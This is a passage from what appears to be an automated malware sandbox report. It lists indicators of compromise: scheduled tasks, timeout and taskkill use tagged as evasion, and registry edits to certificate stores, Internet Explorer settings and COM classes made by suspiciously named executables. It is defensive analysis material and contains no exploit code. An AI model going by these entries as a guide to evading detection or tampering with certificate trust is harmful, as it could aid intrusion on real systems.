8472	schtasks.exe
9944	schtasks.exe
7492	schtasks.exe
8768	schtasks.exe
7740	schtasks.exe
5908	schtasks.exe

Delays execution with timeout.exe 4 IoCs

evasion

pid	Process
2280	timeout.exe
9496	timeout.exe
804	timeout.exe
10176	timeout.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
6596	taskkill.exe
6724	taskkill.exe
9348	taskkill.exe
5396	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 5 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\OneDrive.exe = "11000"	OneDriveSetup.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	uovrLnOqiZlNa82B7YD2cASD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	LzmwAqmV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	uovrLnOqiZlNa82B7YD2cASD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	LzmwAqmV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	uovrLnOqiZlNa82B7YD2cASD.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{A3CA1CF4-5F3E-4AC0-91B9-0D3716E1EAC3}\PROGID	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{82CA8DE3-01AD-4CEA-9D75-BE4C51810A9E}\INPROCSERVER32	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\OOBERequestHandler.OOBERequestHandler.1	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.160.0808.0002\\FileSyncShell.dll"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{389510b7-9e58-40d7-98bf-60b911cb0ea9}\VersionIndependentProgID\ = "FileSyncCustomStatesProvider.FileSyncCustomStatesProvider"	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\Extension = "5"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{47E6DCAF-41F8-441C-BD0E-A50D5FE6C4D1}\LocalServer32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe,0"	FileSyncConfig.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{7B37E4E2-C62F-4914-9620-8FB5062718CC}\VersionIndependentProgID	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{53de12aa-df96-413d-a25e-c75b6528abf2}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{A87958FF-B414-7748-9183-DBF183A25905}\ProxyStubClsid32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{466F31F7-9892-477E-B189-FA5C59DE3603}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{B5C25645-7426-433F-8A5F-42B7FF27A7B2}\TYPELIB	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{2B865677-AC3A-43BD-B9E7-BF6FCD3F0596}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}\ProgID\ = "FileSyncOutOfProcServices.FileSyncOutOfProcServices.1"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}\LocalServer32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus	MicrosoftEdgeCP.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\BANNERNOTIFICATIONHANDLER.BANNERNOTIFICATIONHANDLER.1\CLSID	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{5999E1EE-711E-48D2-9884-851A709F543D}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{e9de26a1-51b2-47b4-b1bf-c87059cc02a7}\ProxyStubClsid32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{d8c80ebb-099c-4208-afa3-fbc4d11f8a3c}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\grvopen\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe\" /url:\"%1\""	OneDriveSetup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0"	MicrosoftEdge.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{390AF5A7-1390-4255-9BC9-935BFCFA5D57}	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\CLSID\{021E4F06-9DCC-49AD-88CF-ECC2DA314C8A}\LOCALSERVER32	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{C2FE84F5-E036-4A07-950C-9BFD3EAB983A}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{9489FEB2-1925-4D01-B788-6D912C70F7F2}\TypeLib	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{A87958FF-B414-7748-9183-DBF183A25905}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\TypeLib\{C9F3F6BB-3172-4CD8-9EB7-37C9BE601C87}\1.0\0\win64	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{466F31F7-9892-477E-B189-FA5C59DE3603}\PROXYSTUBCLSID32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\FileSyncClient.FileSyncClient.1\CLSID\ = "{7B37E4E2-C62F-4914-9620-8FB5062718CC}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{1196AE48-D92B-4BC7-85DE-664EC3F761F1}\ProxyStubClsid32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{466F31F7-9892-477E-B189-FA5C59DE3603}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{c1439245-96b4-47fc-b391-679386c5d40f}\TypeLib	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{82CA8DE3-01AD-4CEA-9D75-BE4C51810A9E}\InprocServer32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\ProgID	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\ = "SyncEngineFileInfoProvider Class"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\ = "SyncEngineFileInfoProvider Class"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{fac14b75-7862-4ceb-be41-f53945a61c17}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\OOBERequestHandler.OOBERequestHandler	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Revision = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{7B37E4E2-C62F-4914-9620-8FB5062718CC}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe\" /cci /client=Personal"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\TypeLib\{F904F88C-E60D-4327-9FA2-865AD075B400}\1.0\HELPDIR	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{F0AF7C30-EAE4-4644-961D-54E6E28708D6}\TypeLib\ = "{909A6CCD-6810-46C4-89DF-05BE7EB61E6C}"	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{3A4E62AE-45D9-41D5-85F5-A45B77AB44E5}\ProxyStubClsid32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{3A4E62AE-45D9-41D5-85F5-A45B77AB44E5}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{5d65dd0d-81bf-4ff4-aeea-6effb445cb3f}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Directory\Background\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic	MicrosoftEdge.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{8D3F8F15-1DE1-4662-BF93-762EABE988B2}\PROXYSTUBCLSID32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{EE15BBBB-9E60-4C52-ABCB-7540FF3DF6B3}\ = "IFileSyncClient9"	OneDriveSetup.exe
